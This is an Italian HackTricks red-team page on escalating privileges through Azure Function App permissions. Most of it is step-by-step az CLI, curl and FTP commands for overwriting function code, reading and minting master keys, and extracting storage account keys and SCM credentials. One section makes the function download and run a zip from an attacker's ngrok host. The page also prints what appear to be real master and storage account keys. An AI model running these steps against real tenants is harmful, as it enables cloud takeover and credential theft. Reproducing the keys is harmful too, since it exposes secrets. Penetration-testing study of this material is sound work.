Az - Functions App Privesc

Reading time: 16 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Function Apps

Controlla la pagina seguente per ulteriori informazioni:

Az - Function Apps

Bucket Read/Write

Con permessi per leggere i contenitori all'interno dello Storage Account che memorizza i dati della funzione, è possibile trovare diversi contenitori (personalizzati o con nomi predefiniti) che potrebbero contenere il codice eseguito dalla funzione.

Una volta trovato dove si trova il codice della funzione, se hai permessi di scrittura su di esso, puoi far eseguire alla funzione qualsiasi codice e aumentare i privilegi delle identità gestite collegate alla funzione.

  • File Share (WEBSITE_CONTENTAZUREFILECONNECTIONSTRING e WEBSITE_CONTENTSHARE)

Il codice della funzione è solitamente memorizzato all'interno di un file share. Con accesso sufficiente, è possibile modificare il file di codice e far caricare alla funzione codice arbitrario, consentendo di aumentare i privilegi delle identità gestite collegate alla Function.

Questo metodo di distribuzione solitamente configura le impostazioni WEBSITE_CONTENTAZUREFILECONNECTIONSTRING e WEBSITE_CONTENTSHARE che puoi ottenere da

bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>

Quei configurazioni conterranno la Storage Account Key che la Function può utilizzare per accedere al codice.

caution

Con abbastanza permessi per connettersi al File Share e modificare lo script in esecuzione, è possibile eseguire codice arbitrario nella Function e aumentare i privilegi.

L'esempio seguente utilizza macOS per connettersi al file share, ma si consiglia di controllare anche la seguente pagina per ulteriori informazioni sui file share:

Az - File Shares

bash
# Username is the name of the storage account
# Password is the Storage Account Key

# Open the connection to the file share
# Change the code of the script like /site/wwwroot/function_app.py

open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
  • function-releases (WEBSITE_RUN_FROM_PACKAGE)

È anche comune trovare i zip releases all'interno della cartella function-releases del contenitore dell'Account di Archiviazione che l'app di funzione sta utilizzando in un contenitore di solito chiamato function-releases.

Di solito, questo metodo di distribuzione imposterà la configurazione WEBSITE_RUN_FROM_PACKAGE in:

bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>

Questa configurazione conterrà di solito un SAS URL per scaricare il codice dall'Account di Archiviazione.

caution

Con abbastanza permessi per connettersi al contenitore blob che contiene il codice in zip è possibile eseguire codice arbitrario nella Funzione e aumentare i privilegi.

  • github-actions-deploy (WEBSITE_RUN_FROM_PACKAGE)

Proprio come nel caso precedente, se il deployment avviene tramite Github Actions è possibile trovare la cartella github-actions-deploy nell'Account di Archiviazione contenente uno zip del codice e un SAS URL allo zip nell'impostazione WEBSITE_RUN_FROM_PACKAGE.

  • scm-releases(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING e WEBSITE_CONTENTSHARE)

Con permessi per leggere i contenitori all'interno dell'Account di Archiviazione che memorizza i dati della funzione è possibile trovare il contenitore scm-releases. Lì è possibile trovare l'ultima release in formato file di filesystem Squashfs e quindi è possibile leggere il codice della funzione:

bash
# List containers inside the storage account of the function app
az storage container list \
--account-name <acc-name> \
--output table

# List files inside one container
az storage blob list \
--account-name <acc-name> \
--container-name <container-name> \
--output table

# Download file
az storage blob download \
--account-name <res-group> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip

## Even if it looks like the file is a .zip, it's a Squashfs filesystem

# Install
brew install squashfs

# List contents of the filesystem
unsquashfs -l "/tmp/scm-latest-<app-name>.zip"

# Get all the contents
mkdir /tmp/fs
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip

È anche possibile trovare le chiavi master e delle funzioni memorizzate nell'account di archiviazione nel contenitore azure-webjobs-secrets all'interno della cartella <app-name> nei file JSON che puoi trovare all'interno.

caution

Con abbastanza permessi per connettersi al contenitore blob che contiene il codice in un file con estensione zip (che in realtà è un squashfs) è possibile eseguire codice arbitrario nella Funzione e aumentare i privilegi.

bash
# Modify code inside the script in /tmp/fs adding your code

# Generate new filesystem file
mksquashfs /tmp/fs /tmp/scm-latest-<app-name>.zip  -b 131072 -noappend

# Upload it to the blob storage
az storage blob upload \
--account-name <storage-account> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip \
--overwrite

Microsoft.Web/sites/host/listkeys/action

Questo permesso consente di elencare le chiavi della funzione, master e di sistema, ma non quella dell'host, della funzione specificata con:

bash
az functionapp keys list --resource-group <res_group> --name <func-name>

Con la chiave master è anche possibile ottenere il codice sorgente in un URL come:

bash
# Get "script_href" from
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"

# Access
curl "<script-href>?code=<master-key>"
## Python example:
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v

E per cambiare il codice che viene eseguito nella funzione con:

bash
# Set the code to set in the function in /tmp/function_app.py
## The following continues using the python example
curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \
--data-binary @/tmp/function_app.py \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v

Microsoft.Web/sites/functions/listKeys/action

Questo permesso consente di ottenere la chiave host della funzione specificata con:

bash
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"

Microsoft.Web/sites/host/functionKeys/write

Questo permesso consente di creare/aggiornare una chiave di funzione della funzione specificata con:

bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==

Microsoft.Web/sites/host/masterKey/write

Questo permesso consente di creare/aggiornare una chiave master per la funzione specificata con:

bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==

caution

Ricorda che con questa chiave puoi anche accedere al codice sorgente e modificarlo come spiegato in precedenza!

Microsoft.Web/sites/host/systemKeys/write

Questo permesso consente di creare/aggiornare una chiave di funzione di sistema per la funzione specificata con:

bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==

Microsoft.Web/sites/config/list/action

Questo permesso consente di ottenere le impostazioni di una funzione. All'interno di queste configurazioni potrebbe essere possibile trovare i valori predefiniti AzureWebJobsStorage o WEBSITE_CONTENTAZUREFILECONNECTIONSTRING che contengono una chiave dell'account per accedere al blob storage della funzione con permessi COMPLETI.

bash
az functionapp config appsettings list --name <func-name> --resource-group <res-group>

Inoltre, questo permesso consente di ottenere il nome utente e la password SCM (se abilitato) con:

bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"

Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/write

Queste autorizzazioni consentono di elencare i valori di configurazione di una funzione come abbiamo visto in precedenza, oltre a modificare questi valori. Questo è utile perché queste impostazioni indicano dove si trova il codice da eseguire all'interno della funzione.

È quindi possibile impostare il valore dell'impostazione WEBSITE_RUN_FROM_PACKAGE puntando a un file zip URL contenente il nuovo codice da eseguire all'interno di un'applicazione web:

  • Inizia ottenendo la configurazione attuale
bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-name>
  • Crea il codice che vuoi che la funzione esegua e ospitalo pubblicamente
bash
# Write inside /tmp/web/function_app.py the code of the function
cd /tmp/web/function_app.py
zip function_app.zip function_app.py
python3 -m http.server

# Serve it using ngrok for example
ngrok http 8000
  • Modifica la funzione, mantieni i parametri precedenti e aggiungi alla fine la configurazione WEBSITE_RUN_FROM_PACKAGE che punta all'URL con il zip contenente il codice.

L'esempio seguente mostra le mie impostazioni personali che dovrai modificare i valori per le tue, nota alla fine i valori "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip", questo è dove stavo ospitando l'app.

bash
# Modify the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/newfunctiontestlatestrelease/config/appsettings?api-version=2023-01-01" \
--headers '{"Content-Type": "application/json"}' \
--body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}'

Microsoft.Web/sites/hostruntime/vfs/write

Con questo permesso è possibile modificare il codice di un'applicazione tramite la console web (o tramite il seguente endpoint API):

bash
# This is a python example, so we will be overwritting function_app.py
# Store in /tmp/body the raw python code to put in the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
--body @/tmp/body

Microsoft.Web/sites/publishxml/action, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write)

Questa autorizzazione consente di elencare tutti i profili di pubblicazione che contengono fondamentalmente credenziali di autenticazione di base:

bash
# Get creds
az functionapp deployment list-publishing-profiles \
--name <app-name> \
--resource-group <res-name> \
--output json

Un'altra opzione sarebbe impostare le proprie credenziali e utilizzarle con:

bash
az functionapp deployment user set \
--user-name DeployUser123456 g \
--password 'P@ssw0rd123!'
  • Se le credenziali di REDACTED

Se vedi che quelle credenziali sono REDACTED, è perché devi abilitare l'opzione di autenticazione di base SCM e per questo hai bisogno del secondo permesso (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):

bash
# Enable basic authentication for SCM
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'

# Enable basic authentication for FTP
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}
  • Metodo SCM

Quindi, puoi accedere con queste credenziali di autenticazione di base all'URL SCM della tua app di funzione e ottenere i valori delle variabili di ambiente:

bash
# Get settings values
curl -u '<username>:<password>' \
https://<app-name>.scm.azurewebsites.net/api/settings -v

# Deploy code to the funciton
zip function_app.zip function_app.py # Your code in function_app.py
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
https://<app-name>.scm.azurewebsites.net/api/zipdeploy

Nota che il nome utente SCM è solitamente il carattere "$" seguito dal nome dell'app, quindi: $<app-name>.

Puoi anche accedere alla pagina web da https://<app-name>.scm.azurewebsites.net/BasicAuth

I valori delle impostazioni contengono l'AccountKey dell'account di archiviazione che memorizza i dati dell'app di funzione, consentendo di controllare quell'account di archiviazione.

  • Metodo FTP

Connettiti al server FTP utilizzando:

bash
# macOS install lftp
brew install lftp

# Connect using lftp
lftp -u '<username>','<password>' \
ftps://waws-prod-yq1-005dr.ftp.azurewebsites.windows.net/site/wwwroot/

# Some commands
ls # List
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it

Nota che il nome utente FTP è solitamente nel formato <app-name>\$<app-name>.

Microsoft.Web/sites/hostruntime/vfs/read

Questa autorizzazione consente di leggere il codice sorgente dell'app tramite il VFS:

bash
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"

Microsoft.Web/sites/functions/token/action

Con questo permesso è possibile ottenere il token admin che può essere successivamente utilizzato per recuperare la chiave master e quindi accedere e modificare il codice della funzione.

Tuttavia, nei miei ultimi controlli non è stato restituito alcun token, quindi potrebbe essere disabilitato o non funzionare più, ma ecco come lo faresti:

bash
# Get admin token
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/admin/token?api-version=2024-04-01"

# Get master key
curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
-H "Authorization: Bearer <token>"

Microsoft.Web/sites/config/write, (Microsoft.Web/sites/functions/properties/read)

Questa autorizzazione consente di abilitare funzioni che potrebbero essere disabilitate (o disabilitarle).

bash
# Enable a disabled function
az functionapp config appsettings set \
--name <app-name> \
--resource-group <res-group> \
--settings "AzureWebJobs.http_trigger1.Disabled=false"

È anche possibile vedere se una funzione è abilitata o disabilitata nel seguente URL (utilizzando il permesso tra parentesi):

bash
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"

Microsoft.Web/sites/config/write, Microsoft.Web/sites/config/list/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/read)

Con questi permessi è possibile modificare il contenitore eseguito da un'app di funzione configurata per eseguire un contenitore. Questo permetterebbe a un attaccante di caricare un'app di contenitore di funzione azure malevola su docker hub (ad esempio) e far eseguire la funzione.

bash
az functionapp config container set --name <app-name> \
--resource-group <res-group> \
--image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0"

Microsoft.Web/sites/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/operationresults/read)

Con questi permessi è possibile collegare una nuova identità gestita dall'utente a una funzione. Se la funzione fosse compromessa, questo permetterebbe di elevare i privilegi a qualsiasi identità gestita dall'utente.

bash
az functionapp identity assign \
--name <app-name> \
--resource-group <res-group> \
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>

Remote Debugging

È anche possibile connettersi per eseguire il debug di una funzione Azure in esecuzione come spiegato nella documentazione. Tuttavia, per impostazione predefinita, Azure disattiverà questa opzione dopo 2 giorni nel caso in cui lo sviluppatore dimentichi di evitare di lasciare configurazioni vulnerabili.

È possibile verificare se una funzione ha il debug abilitato con:

bash
az functionapp show --name <app-name> --resource-group <res-group>

Avere il permesso Microsoft.Web/sites/config/write consente anche di mettere una funzione in modalità di debug (il comando seguente richiede anche i permessi Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/Read e Microsoft.Web/sites/Read).

bash
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>

Cambiare il repository Github

Ho provato a cambiare il repository Github da cui sta avvenendo il deployment eseguendo i seguenti comandi, ma anche se è cambiato, il nuovo codice non è stato caricato (probabilmente perché si aspetta che l'azione Github aggiorni il codice).
Inoltre, le credenziali federate dell'identità gestita non sono state aggiornate per consentire il nuovo repository, quindi sembra che questo non sia molto utile.

bash
# Remove current
az functionapp deployment source delete \
--name funcGithub \
--resource-group Resource_Group_1

# Load new public repo
az functionapp deployment source config \
--name funcGithub \
--resource-group Resource_Group_1 \
--repo-url "https://github.com/orgname/azure_func3" \
--branch main --github-action true

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks